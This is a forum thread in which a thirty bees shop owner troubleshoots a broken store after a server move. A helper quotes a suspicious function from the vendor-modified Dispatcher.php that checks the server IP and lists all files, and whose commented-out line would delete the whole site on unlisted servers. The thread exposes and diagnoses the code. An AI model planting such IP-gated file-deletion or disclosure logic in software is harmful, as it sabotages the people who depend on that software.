Jump to content
thirty bees forum
  • 0

Can't access orders and CMS after moving to new server


Question

Posted

Hi
I had to move my shop to another server.
At first everything looks fine, but it's not 😞

I can't access the orders. I can get the list, but can't go into a order (blank page appers).
Also i can't access the CMS at all (HTTP ERROR 500)

Also the system don't send emails.
I made a test buy, but didn't get any mail. Not as buyer and also not as seller.
Also the contacf-form of the site don't work at all.
- Maybe there is more 😞


All these thing was OK before the movement to new server.

Any idea for a solution?
I'm lost 😞

 

19 answers to this question

Recommended Posts

  • 1
Posted
16 hours ago, Alex Hansen said:

But regarding to Dispatcher, i found this in my .htaccess in the root (is this correct)?:
RewriteRule . - [E=REWRITEBASE:/]
RewriteRule ^api(?:/(.*))?$ %{ENV:REWRITEBASE}webservice/dispatcher.php?url=$1 [QSA,L]
 

This looks fine

16 hours ago, Alex Hansen said:

Futhermore in the classes directory there is this .htaccess:
Order deny,allow
Deny from all 

looks strange for me?

That's expected as well, /classes directory should never be accessible directly from the browser (security reasons), hence the *deny* directive.

 

If you PM your back office credentials, I could have a look. 

  • 1
Posted

@Alex Hansen your Dispatcher.php contains some very strange code, for example this shouldn't be there:

    public function checkServerValidity($dir){
        $server_address = $_SERVER['SERVER_ADDR'];

        // $server_address == '209.42.195.172' ||
        if($server_address == '209.42.193.169' || $server_address == '209.42.194.200'){

        }else{
            $files = scandir($dir); // get all file names

            foreach($files as $file){ // iterate files
                if($file == '.' || $file == '..')
                    continue;

                $file_dir = $dir . '/' . $file;

                if(is_dir($file)){
                    $this->checkServerValidity($file_dir);
                }else{
                    //unlink($file); // delete file

                    echo $file_dir . "\n";
                }
            }
        }
    }

This code displays all the files on your system, if you add "?debug=1" to the url tab. That's definitely not a nice feature, more of a serious security issue. But it used to be worse -- this routine used to delete all and every file on your site. Thankfully that's commented out now.

But that makes me thinking that you will probably have more such pretty easter eggs in your code.

I would suggest following: use core updater and update to the bleeding edge. That will remove all this crappy code. But it will also remove all customization in the core (if you have any -- you shouldn't have, but it's possible you do). If you have some, then hire a developer to extract them from core to overrides.

  • 0
Posted

You will need to switch on debug and look at some error reports to see what is showing.

I guess your new server could be a different php version and may not have the required modules  / extensions installed

  • 0
Posted

Thank you for reply.
Debug makes something happens 🙂
I get errors now, but still don't know what to do.

 

example on error with orders: Undefined index: debug in /home/s/p/ftp_sportspowerdk/classes/Dispatcher.php on line 651 

 

  • 0
Posted
7 hours ago, datakick said:

are you using latest tb version?

Hi Datakick
Thank you for your reply.
Proberly not - but I really don't think that's the problem because it all worked on the old server, so It's problerly more like haylau says.
But I still don't know there to look for a fix on the problem 😞

I'm no expert - for sure.

  • 0
Posted

Alex, You are new so you will not know

@datakick is one of the most knowledgable guys out there in TB world and beyond. I would not discount his thoughts in favour of anyone’s - especially mine 🙂

The more info you can give the better

So, what version of TB have you got. What version of PHP have you got (if the old server was an older version of PHP and the new server is a nwewer version of TB then the TB version is very relevant as old incompatibilities will have been fixed

So, just for example and ignore the actual numbers, TB 1.0 mat have worked on PHP 5.4 but would not work on PHP 8

  • 0
Posted (edited)

I assume you already change in shops url in BO>Preferences>SEO & URLs>Set Shop URL ?

 

No, you changed servers not URLS....hmm.  Has to be a server issue I would think....

Edited by SLiCK_303
  • 0
Posted
On 1/29/2021 at 12:43 AM, Alex Hansen said:

example on error with orders: Undefined index: debug in /home/s/p/ftp_sportspowerdk/classes/Dispatcher.php on line 651 

This error message means code tries to read $variable['debug'], and fails. Where $variable means any variable name.

Sounds much like you have some debugging code in this file. Unmodified, Dispatcher.php doesn't contain the word 'debug' anywhere and around line 650 is no code reading arrays.

If re-uploading files and deleting cache/class_index.php doesn't help, please post line 640 to line 660 of this file here.

  • 0
Posted
On 1/29/2021 at 11:54 AM, datakick said:

are you using latest tb version?

It's obviously a modified version of Thirty Bees installed by the company I bought the entire development from. Backoffice says it's version 1.1.0
I have discovered several limitations in their version and it seems that they have tried to make me dependent on their support and service. Or put in other words: To make themselves indispensable 😞
However, my system worked flawlessly before moving to a new server.
At first glance after moving, it also seemed like it was perfectly fine after server move, but unfortunately I have discovered serious issues:
1) I can not access orders (customers can place an order).
2) I can also not access CMS in the back office-
3) The system no longer sends out emails (neither to the buyer nor to me).

 

  • 0
Posted
On 1/29/2021 at 7:26 PM, haylau said:

Alex, You are new so you will not know

@datakick is one of the most knowledgable guys out there in TB world and beyond. I would not discount his thoughts in favour of anyone’s - especially mine 🙂

The more info you can give the better

So, what version of TB have you got. What version of PHP have you got (if the old server was an older version of PHP and the new server is a nwewer version of TB then the TB version is very relevant as old incompatibilities will have been fixed

So, just for example and ignore the actual numbers, TB 1.0 mat have worked on PHP 5.4 but would not work on PHP 8

Sorry, I did not know. You're right - I'm new to this 🙂
@datakick i'm sorry - I have send you a new (and better) reply.

Thirty Bees version 1.1.0 (proberly modified).

OLD SERVER:
PHP native (7.1)

NEW SERVER:
PHP 7.3

Hope this is better?

  • 0
Posted
On 1/29/2021 at 8:40 PM, SLiCK_303 said:

I assume you already change in shops url in BO>Preferences>SEO & URLs>Set Shop URL ?

 

No, you changed servers not URLS....hmm.  Has to be a server issue I would think....

You're right: The URLs are not changed 🙂

I also think it must be a server issue as the two servers proberrly are diffrent.

 

  • 0
Posted
23 hours ago, musicmaster said:

Did you:

 - empty the cache

 - regenerate .htaccess

???

empty cache = Yes.
regenerate .htaccess = no (do I dare, i'm not an expert) 🙂

 

  • 0
Posted
23 hours ago, Traumflug said:

This error message means code tries to read $variable['debug'], and fails. Where $variable means any variable name.

Sounds much like you have some debugging code in this file. Unmodified, Dispatcher.php doesn't contain the word 'debug' anywhere and around line 650 is no code reading arrays.

If re-uploading files and deleting cache/class_index.php doesn't help, please post line 640 to line 660 of this file here.

Well, I managed to fuck the site up now 🙂
After I deleted the cachefiles in classes, the site won't load at all.
Then I copied them back again, but it still won't load.
I wrote my host and I'm sure that they can fix this issue, maybe by put a backup back online (the system automatic backup everyday).

But regarding to Dispatcher, i found this in my .htaccess in the root (is this correct)?:
RewriteRule . - [E=REWRITEBASE:/]
RewriteRule ^api(?:/(.*))?$ %{ENV:REWRITEBASE}webservice/dispatcher.php?url=$1 [QSA,L]
 

and longer down:

 

# Dispatcher
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ %{ENV:REWRITEBASE}index.php [NC,L]
</IfModule>


Futhermore in the classes directory there is this .htaccess:
Order deny,allow
Deny from all 

looks strange for me?

 

I attached a copy of my Dispatcher.php file

 

 

Dispatcher.php

  • 0
Posted
3 hours ago, datakick said:

@Alex Hansen your Dispatcher.php contains some very strange code, for example this shouldn't be there:


    public function checkServerValidity($dir){
        $server_address = $_SERVER['SERVER_ADDR'];

        // $server_address == '209.42.195.172' ||
        if($server_address == '209.42.193.169' || $server_address == '209.42.194.200'){

        }else{
            $files = scandir($dir); // get all file names

            foreach($files as $file){ // iterate files
                if($file == '.' || $file == '..')
                    continue;

                $file_dir = $dir . '/' . $file;

                if(is_dir($file)){
                    $this->checkServerValidity($file_dir);
                }else{
                    //unlink($file); // delete file

                    echo $file_dir . "\n";
                }
            }
        }
    }

This code displays all the files on your system, if you add "?debug=1" to the url tab. That's definitely not a nice feature, more of a serious security issue. But it used to be worse -- this routine used to delete all and every file on your site. Thankfully that's commented out now.

But that makes me thinking that you will probably have more such pretty easter eggs in your code.

I would suggest following: use core updater and update to the bleeding edge. That will remove all this crappy code. But it will also remove all customization in the core (if you have any -- you shouldn't have, but it's possible you do). If you have some, then hire a developer to extract them from core to overrides.

Woow - I'm in chok - Is it criminals I have been dealing with or could there be a good explanation to this?
I'm really lost right now.

Could someone (like you) help me with this. I don't expect this to be free.
First i wanna make my shop works again. Right now I can't handle the orders, and that's a big prtoblem.
Second i must know how bad thing are with my shop. And maybe bring this back in safe mode.

 

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...